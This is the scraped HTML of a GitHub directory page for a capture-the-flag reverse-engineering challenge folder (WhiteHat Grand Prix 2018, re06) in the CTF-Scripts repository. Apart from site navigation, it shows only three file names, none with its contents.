0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> r00tus3r </span> <span>/</span> CTF-Scripts <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>3</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/r00tus3r/CTF-Scripts/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":84325108,"originating_url":"https://github.com/r00tus3r/CTF-Scripts/tree/master/WhiteHat_grandprix_2018/re06","user_id":null}}" data-hydro-click-hmac="7ddc296a2585a58fd64a4db47609b41abf417fd37de8fdee7ef36e6753d9b4dd"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/r00tus3r/CTF-Scripts/refs" cache-key="v0:1488980833.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cjAwdHVzM3IvQ1RGLVNjcmlwdHM=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/r00tus3r/CTF-Scripts/refs" cache-key="v0:1488980833.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cjAwdHVzM3IvQ1RGLVNjcmlwdHM=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Scripts</span></span></span><span>/</span><span><span>WhiteHat_grandprix_2018</span></span><span>/</span>re06<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Scripts</span></span></span><span>/</span><span><span>WhiteHat_grandprix_2018</span></span><span>/</span>re06<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/r00tus3r/CTF-Scripts/tree-commit/bf6681621a351a0e8c04b5296b1b9d65be89ef1e/WhiteHat_grandprix_2018/re06" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/r00tus3r/CTF-Scripts/file-list/master/WhiteHat_grandprix_2018/re06"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>b64_decoded</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>reverse.exe</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 